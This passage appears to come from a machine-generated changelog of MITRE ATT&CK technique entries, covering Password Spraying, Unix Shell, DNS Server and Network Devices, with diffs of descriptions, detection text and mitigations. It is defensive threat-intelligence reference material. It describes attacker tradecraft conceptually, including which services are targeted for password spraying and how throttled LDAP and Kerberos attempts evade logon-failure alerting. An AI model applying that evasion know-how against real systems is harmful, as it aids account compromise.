(3306/TCP)\\n* VNC (5900/TCP)\\n\\nIn addition to management services, adversaries may \\\"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\\\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)\\n\\nIn order to avoid detection thresholds, adversaries may deliberately throttle password spraying attempts to avoid triggering security alerting. Additionally, adversaries may leverage LDAP and Kerberos authentication attempts, which are less likely to trigger high-visibility events such as Windows \\\"logon failure\\\" event ID 4625 that is commonly triggered by failed SMB connection attempts.(Citation: Microsoft Storm-0940) \", \"old_value\": \"Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)\\n\\nTypically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:\\n\\n* SSH (22/TCP)\\n* Telnet (23/TCP)\\n* FTP (21/TCP)\\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\\n* LDAP (389/TCP)\\n* Kerberos (88/TCP)\\n* RDP / Terminal Services (3389/TCP)\\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\\n* MSSQL (1433/TCP)\\n* Oracle (1521/TCP)\\n* MySQL (3306/TCP)\\n* VNC (5900/TCP)\\n\\nIn addition to management services, adversaries may \\\"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\\\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)\\n\\nIn default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \\\"logon failure\\\" event ID 4625.\", \"diff\": \"--- \\n+++ \\n@@ -17,4 +17,4 @@\\n \\n In addition to management services, adversaries may \\\"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\\\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)\\n \\n-In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \\\"logon failure\\\" event ID 4625.\\n+In order to avoid detection thresholds, adversaries may deliberately throttle password spraying attempts to avoid triggering security alerting. Additionally, adversaries may leverage LDAP and Kerberos authentication attempts, which are less likely to trigger high-visibility events such as Windows \\\"logon failure\\\" event ID 4625 that is commonly triggered by failed SMB connection attempts.(Citation: Microsoft Storm-0940) \"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Specifically, monitor for many failed authentication attempts across various accounts that may result from password spraying attempts.\\n\\nConsider the following event IDs:(Citation: Trimarc Detecting Password Spraying)\\n\\n* Domain Controllers: \\\"Audit Logon\\\" (Success & Failure) for event ID 4625.\\n* Domain Controllers: \\\"Audit Kerberos Authentication Service\\\" (Success & Failure) for event ID 4771.\\n* All systems: \\\"Audit Logon\\\" (Success & Failure) for event ID 4648.\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +0,0 @@\\n-Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Specifically, monitor for many failed authentication attempts across various accounts that may result from password spraying attempts.\\n-\\n-Consider the following event IDs:(Citation: Trimarc Detecting Password Spraying)\\n-\\n-* Domain Controllers: \\\"Audit Logon\\\" (Success & Failure) for event ID 4625.\\n-* Domain Controllers: \\\"Audit Kerberos Authentication Service\\\" (Success & Failure) for event ID 4771.\\n-* All systems: \\\"Audit Logon\\\" (Success & Failure) for event ID 4648.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.8\", \"old_value\": \"1.7\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"Microsoft Storm-0940\", \"description\": \"Microsoft Threat Intelligence. (2024, October 31). Chinese threat actor Storm-0940 uses credentials from password spray attacks from a covert network. Retrieved June 4, 2025.\", \"url\": \"https://www.microsoft.com/en-us/security/blog/2024/10/31/chinese-threat-actor-storm-0940-uses-credentials-from-password-spray-attacks-from-a-covert-network/\"}}}", + "previous_version": "1.7", + "version_change": "1.7 \u2192 1.8", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may use a single or small list of commonly used t1Adversaries may use a single or small list of commonly used 
>passwords against many different accounts to attempt to acqu>passwords against many different accounts to attempt to acqu
>ire valid account credentials. Password spraying uses one pa>ire valid account credentials. Password spraying uses one pa
>ssword (e.g. 'Password01'), or a small list of commonly used>ssword (e.g. 'Password01'), or a small list of commonly used
> passwords, that may match the complexity policy of the doma> passwords, that may match the complexity policy of the doma
>in. Logins are attempted with that password against many dif>in. Logins are attempted with that password against many dif
>ferent accounts on a network to avoid account lockouts that >ferent accounts on a network to avoid account lockouts that 
>would normally occur when brute forcing a single account wit>would normally occur when brute forcing a single account wit
>h many passwords. (Citation: BlackHillsInfosec Password Spra>h many passwords. (Citation: BlackHillsInfosec Password Spra
>ying)  Typically, management services over commonly used por>ying)  Typically, management services over commonly used por
>ts are used when password spraying. Commonly targeted servic>ts are used when password spraying. Commonly targeted servic
>es include the following:  * SSH (22/TCP) * Telnet (23/TCP) >es include the following:  * SSH (22/TCP) * Telnet (23/TCP) 
>* FTP (21/TCP) * NetBIOS / SMB / Samba (139/TCP & 445/TCP) *>* FTP (21/TCP) * NetBIOS / SMB / Samba (139/TCP & 445/TCP) *
> LDAP (389/TCP) * Kerberos (88/TCP) * RDP / Terminal Service> LDAP (389/TCP) * Kerberos (88/TCP) * RDP / Terminal Service
>s (3389/TCP) * HTTP/HTTP Management Services (80/TCP & 443/T>s (3389/TCP) * HTTP/HTTP Management Services (80/TCP & 443/T
>CP) * MSSQL (1433/TCP) * Oracle (1521/TCP) * MySQL (3306/TCP>CP) * MSSQL (1433/TCP) * Oracle (1521/TCP) * MySQL (3306/TCP
>) * VNC (5900/TCP)  In addition to management services, adve>) * VNC (5900/TCP)  In addition to management services, adve
>rsaries may \"target single sign-on (SSO) and cloud-based app>rsaries may \"target single sign-on (SSO) and cloud-based app
>lications utilizing federated authentication protocols,\" as >lications utilizing federated authentication protocols,\" as 
>well as externally facing email applications, such as Office>well as externally facing email applications, such as Office
> 365.(Citation: US-CERT TA18-068A 2018)  In default environm> 365.(Citation: US-CERT TA18-068A 2018)  In order to avoid d
>ents, LDAP and Kerberos connection attempts are less likely >etection thresholds, adversaries may deliberately throttle p
>to trigger events over SMB, which creates Windows \"logon fai>assword spraying attempts to avoid triggering security alert
>lure\" event ID 4625.>ing. Additionally, adversaries may leverage LDAP and Kerbero
 >authentication attempts, which are less likely to trigger 
 >high-visibility events such as Windows \"logon failure\" event
 > ID 4625 that is commonly triggered by failed SMB connection
 > attempts.(Citation: Microsoft Storm-0940)  
", + "changelog_mitigations": { + "shared": [ + "M1027: Password Policies", + "M1032: Multi-factor Authentication", + "M1036: Account Use Policies" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Authentication)", + "DS0015: Application Log (Application Log Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0487: Distributed Password Spraying via Authentication Failures Across Multiple Accounts" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-09 14:15:05.330000+00:00", + "modified": "2025-10-24 17:49:12.476000+00:00", + "name": "Unix Shell", + "description": "Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux, macOS, and ESXi systems, though many variations of the Unix shell exist (e.g. sh, ash, bash, zsh, etc.) depending on the specific OS or distribution.(Citation: DieNet Bash)(Citation: Apple ZShell) Unix shells can control every aspect of a system, with certain commands requiring elevated privileges.\n\nUnix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with [SSH](https://attack.mitre.org/techniques/T1021/004). Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.\n\nSome systems, such as embedded devices, lightweight Linux distributions, and ESXi servers, may leverage stripped-down Unix shells via Busybox, a small executable that contains a variety of tools, including a simple shell.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1059/004", + "external_id": "T1059.004" + }, + { + "source_name": "Apple ZShell", + "description": "Apple. (2020, January 28). Use zsh as the default shell on your Mac. Retrieved June 12, 2020.", + "url": "https://support.apple.com/HT208050" + }, + { + "source_name": "DieNet Bash", + "description": "die.net. (n.d.). bash(1) - Linux man page. Retrieved June 12, 2020.", + "url": "https://linux.die.net/man/1/bash" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "macOS", + "Network Devices" + ], + "x_mitre_remote_support": false, + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:12.476000+00:00\", \"old_value\": \"2025-04-15 19:58:56.647000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Unix shell usage may be common on administrator, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\\n\\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Unix shell usage may be common on administrator, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\\n-\\n-Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. \"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}}}", + "previous_version": "1.3", + "version_change": "1.3 \u2192 1.4", + "changelog_mitigations": { + "shared": [ + "M1038: Execution Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0384: Behavioral Detection of Unix Shell Execution" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--c2f59d25-87fe-44aa-8f83-e8e59d077bf5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-01 00:54:30.869000+00:00", + "modified": "2025-10-24 17:49:20.486000+00:00", + "name": "DNS Server", + "description": "Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations.\n\nBy compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Additionally, adversaries may leverage such control in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004) to redirect traffic to adversary-controlled infrastructure, mimicking normal trusted network communications.(Citation: FireEye DNS Hijack 2019)(Citation: Crowdstrike DNS Hijack 2019) Alternatively, they may be able to prove ownership of a domain to a SaaS service in order to assert control of the service or create a new administrative [Cloud Account](https://attack.mitre.org/techniques/T1136/003).(Citation: CyberCX SaaS Domain Hijacking 2025) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1584/002", + "external_id": "T1584.002" + }, + { + "source_name": "FireEye DNS Hijack 2019", + "description": "Hirani, M., Jones, S., Read, B. (2019, January 10). Global DNS Hijacking Campaign: DNS Record Manipulation at Scale. Retrieved October 9, 2020.", + "url": "https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html" + }, + { + "source_name": "Crowdstrike DNS Hijack 2019", + "description": "Matt Dahl. (2019, January 25). Widespread DNS Hijacking Activity Targets Multiple Sectors. Retrieved February 14, 2022.", + "url": "https://www.crowdstrike.com/blog/widespread-dns-hijacking-activity-targets-multiple-sectors/" + }, + { + "source_name": "Talos DNSpionage Nov 2018", + "description": "Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign Targets Middle East. Retrieved October 9, 2020.", + "url": "https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html" + }, + { + "source_name": "CiscoAngler", + "description": "Nick Biasini. (2015, March 3). Threat Spotlight: Angler Lurking in the Domain Shadows. Retrieved March 6, 2017.", + "url": "https://blogs.cisco.com/security/talos/angler-domain-shadowing" + }, + { + "source_name": "Proofpoint Domain Shadowing", + "description": "Proofpoint Staff. (2015, December 15). The shadow knows: Malvertising campaigns use domain shadowing to pull in Angler EK. Retrieved October 16, 2020.", + "url": "https://www.proofpoint.com/us/threat-insight/post/The-Shadow-Knows" + }, + { + "source_name": "CyberCX SaaS Domain Hijacking 2025", + "description": "Tony Mau. (2025, May 29). Keys to the (SaaS) kingdom. Retrieved May 30, 2025.", + "url": "https://cybercx.com.au/blog/keys-to-the-saas-kingdom/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Jeremy Galloway", + "Menachem Goldstein", + "Tony Mau (CyberCX)" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Domain Name: Active DNS\", \"Domain Name: Passive DNS\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:20.486000+00:00\", \"old_value\": \"2025-04-15 22:13:56.342000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations.\\n\\nBy compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Additionally, adversaries may leverage such control in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004) to redirect traffic to adversary-controlled infrastructure, mimicking normal trusted network communications.(Citation: FireEye DNS Hijack 2019)(Citation: Crowdstrike DNS Hijack 2019) Alternatively, they may be able to prove ownership of a domain to a SaaS service in order to assert control of the service or create a new administrative [Cloud Account](https://attack.mitre.org/techniques/T1136/003).(Citation: CyberCX SaaS Domain Hijacking 2025) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing)\", \"old_value\": \"Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations.\\n\\nBy compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Additionally, adversaries may leverage such control in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004) to redirect traffic to adversary-controlled infrastructure, mimicking normal trusted network communications.(Citation: FireEye DNS Hijack 2019)(Citation: Crowdstrike DNS Hijack 2019) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations.\\n \\n-By compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Additionally, adversaries may leverage such control in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004) to redirect traffic to adversary-controlled infrastructure, mimicking normal trusted network communications.(Citation: FireEye DNS Hijack 2019)(Citation: Crowdstrike DNS Hijack 2019) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing)\\n+By compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Additionally, adversaries may leverage such control in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004) to redirect traffic to adversary-controlled infrastructure, mimicking normal trusted network communications.(Citation: FireEye DNS Hijack 2019)(Citation: Crowdstrike DNS Hijack 2019) Alternatively, they may be able to prove ownership of a domain to a SaaS service in order to assert control of the service or create a new administrative [Cloud Account](https://attack.mitre.org/techniques/T1136/003).(Citation: CyberCX SaaS Domain Hijacking 2025) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider monitoring for anomalous resolution changes for domain addresses. Efforts may need to be tailored to specific domains of interest as benign resolution changes are a common occurrence on the internet.\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider monitoring for anomalous resolution changes for domain addresses. Efforts may need to be tailored to specific domains of interest as benign resolution changes are a common occurrence on the internet.\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}, \"iterable_item_added\": {\"root['external_references'][6]\": {\"source_name\": \"CyberCX SaaS Domain Hijacking 2025\", \"description\": \"Tony Mau. (2025, May 29). Keys to the (SaaS) kingdom. Retrieved May 30, 2025.\", \"url\": \"https://cybercx.com.au/blog/keys-to-the-saas-kingdom/\"}, \"root['x_mitre_contributors'][1]\": \"Menachem Goldstein\", \"root['x_mitre_contributors'][2]\": \"Tony Mau (CyberCX)\"}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 1.3", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may compromise third-party DNS servers that can t1Adversaries may compromise third-party DNS servers that can 
>be used during targeting. During post-compromise activity, a>be used during targeting. During post-compromise activity, a
>dversaries may utilize DNS traffic for various tasks, includ>dversaries may utilize DNS traffic for various tasks, includ
>ing for Command and Control (ex: [Application Layer Protocol>ing for Command and Control (ex: [Application Layer Protocol
>](https://attack.mitre.org/techniques/T1071)). Instead of se>](https://attack.mitre.org/techniques/T1071)). Instead of se
>tting up their own DNS servers, adversaries may compromise t>tting up their own DNS servers, adversaries may compromise t
>hird-party DNS servers in support of operations.  By comprom>hird-party DNS servers in support of operations.  By comprom
>ising DNS servers, adversaries can alter DNS records. Such c>ising DNS servers, adversaries can alter DNS records. Such c
>ontrol can allow for redirection of an organization's traffi>ontrol can allow for redirection of an organization's traffi
>c, facilitating Collection and Credential Access efforts for>c, facilitating Collection and Credential Access efforts for
> the adversary.(Citation: Talos DNSpionage Nov 2018)(Citatio> the adversary.(Citation: Talos DNSpionage Nov 2018)(Citatio
>n: FireEye DNS Hijack 2019)  Additionally, adversaries may l>n: FireEye DNS Hijack 2019)  Additionally, adversaries may l
>everage such control in conjunction with [Digital Certificat>everage such control in conjunction with [Digital Certificat
>es](https://attack.mitre.org/techniques/T1588/004) to redire>es](https://attack.mitre.org/techniques/T1588/004) to redire
>ct traffic to adversary-controlled infrastructure, mimicking>ct traffic to adversary-controlled infrastructure, mimicking
> normal trusted network communications.(Citation: FireEye DN> normal trusted network communications.(Citation: FireEye DN
>S Hijack 2019)(Citation: Crowdstrike DNS Hijack 2019) Advers>S Hijack 2019)(Citation: Crowdstrike DNS Hijack 2019) Altern
>aries may also be able to silently create subdomains pointed>atively, they may be able to prove ownership of a domain to 
> at malicious servers without tipping off the actual owner o>a SaaS service in order to assert control of the service or 
>f the DNS server.(Citation: CiscoAngler)(Citation: Proofpoin>create a new administrative [Cloud Account](https://attack.m
>t Domain Shadowing)>itre.org/techniques/T1136/003).(Citation: CyberCX SaaS Domai
 >n Hijacking 2025) Adversaries may also be able to silently c
 >reate subdomains pointed at malicious servers without tippin
 >g off the actual owner of the DNS server.(Citation: CiscoAng
 >ler)(Citation: Proofpoint Domain Shadowing)
", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0038: Domain Name (Active DNS)", + "DS0038: Domain Name (Passive DNS)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0891: Detection of DNS Server" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--149b477f-f364-4824-b1b5-aa1d56115869", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-03-28 03:29:35.616000+00:00", + "modified": "2025-10-22 03:56:34.319000+00:00", + "name": "Network Devices", + "description": "Adversaries may compromise third-party network devices that can be used during targeting. Network devices, such as small office/home office (SOHO) routers, may be compromised where the adversary's ultimate goal is not [Initial Access](https://attack.mitre.org/tactics/TA0001) to that environment, but rather to leverage these devices to support additional targeting.\n\nOnce an adversary has control, compromised network devices can be used to launch additional operations, such as hosting payloads for [Phishing](https://attack.mitre.org/techniques/T1566) campaigns (i.e., [Link Target](https://attack.mitre.org/techniques/T1608/005)) or enabling the required access to execute [Content Injection](https://attack.mitre.org/techniques/T1659) operations. Adversaries may also be able to harvest reusable credentials (i.e., [Valid Accounts](https://attack.mitre.org/techniques/T1078)) from compromised network devices.\n\nAdversaries often target Internet-facing edge devices and related network appliances that specifically do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar)\n\nCompromised network devices may be used to support subsequent [Command and Control](https://attack.mitre.org/tactics/TA0011) activity, such as [Hide Infrastructure](https://attack.mitre.org/techniques/T1665) through an established [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Botnet](https://attack.mitre.org/techniques/T1584/005) network.(Citation: Justice GRU 2024)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1584/008", + "external_id": "T1584.008" + }, + { + "source_name": "Wired Russia Cyberwar", + "description": "Greenberg, A. (2022, November 10). Russia\u2019s New Cyberwarfare in Ukraine Is Fast, Dirty, and Relentless. Retrieved March 22, 2023.", + "url": "https://www.wired.com/story/russia-ukraine-cyberattacks-mandiant/" + }, + { + "source_name": "Mandiant Fortinet Zero Day", + "description": "Marvi, A. et al.. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved March 22, 2023.", + "url": "https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem" + }, + { + "source_name": "Justice GRU 2024", + "description": "Office of Public Affairs. (2024, February 15). Justice Department Conducts Court-Authorized Disruption of Botnet Controlled by the Russian Federation\u2019s Main Intelligence Directorate of the General Staff (GRU). Retrieved March 28, 2024.", + "url": "https://www.justice.gov/opa/pr/justice-department-conducts-court-authorized-disruption-botnet-controlled-russian" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Gavin Knapp" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-22 03:56:34.319000+00:00\", \"old_value\": \"2025-04-15 22:51:26.650000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may compromise third-party network devices that can be used during targeting. Network devices, such as small office/home office (SOHO) routers, may be compromised where the adversary's ultimate goal is not [Initial Access](https://attack.mitre.org/tactics/TA0001) to that environment, but rather to leverage these devices to support additional targeting.\\n\\nOnce an adversary has control, compromised network devices can be used to launch additional operations, such as hosting payloads for [Phishing](https://attack.mitre.org/techniques/T1566) campaigns (i.e., [Link Target](https://attack.mitre.org/techniques/T1608/005)) or enabling the required access to execute [Content Injection](https://attack.mitre.org/techniques/T1659) operations. Adversaries may also be able to harvest reusable credentials (i.e., [Valid Accounts](https://attack.mitre.org/techniques/T1078)) from compromised network devices.\\n\\nAdversaries often target Internet-facing edge devices and related network appliances that specifically do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar)\\n\\nCompromised network devices may be used to support subsequent [Command and Control](https://attack.mitre.org/tactics/TA0011) activity, such as [Hide Infrastructure](https://attack.mitre.org/techniques/T1665) through an established [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Botnet](https://attack.mitre.org/techniques/T1584/005) network.(Citation: Justice GRU 2024)\", \"old_value\": \"Adversaries may compromise third-party network devices that can be used during targeting. Network devices, such as small office/home office (SOHO) routers, may be compromised where the adversary's ultimate goal is not [Initial Access](https://attack.mitre.org/tactics/TA0001) to that environment -- instead leveraging these devices to support additional targeting.\\n\\nOnce an adversary has control, compromised network devices can be used to launch additional operations, such as hosting payloads for [Phishing](https://attack.mitre.org/techniques/T1566) campaigns (i.e., [Link Target](https://attack.mitre.org/techniques/T1608/005)) or enabling the required access to execute [Content Injection](https://attack.mitre.org/techniques/T1659) operations. Adversaries may also be able to harvest reusable credentials (i.e., [Valid Accounts](https://attack.mitre.org/techniques/T1078)) from compromised network devices.\\n\\nAdversaries often target Internet-facing edge devices and related network appliances that specifically do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar)\\n\\nCompromised network devices may be used to support subsequent [Command and Control](https://attack.mitre.org/tactics/TA0011) activity, such as [Hide Infrastructure](https://attack.mitre.org/techniques/T1665) through an established [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Botnet](https://attack.mitre.org/techniques/T1584/005) network.(Citation: Justice GRU 2024)\", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-Adversaries may compromise third-party network devices that can be used during targeting. Network devices, such as small office/home office 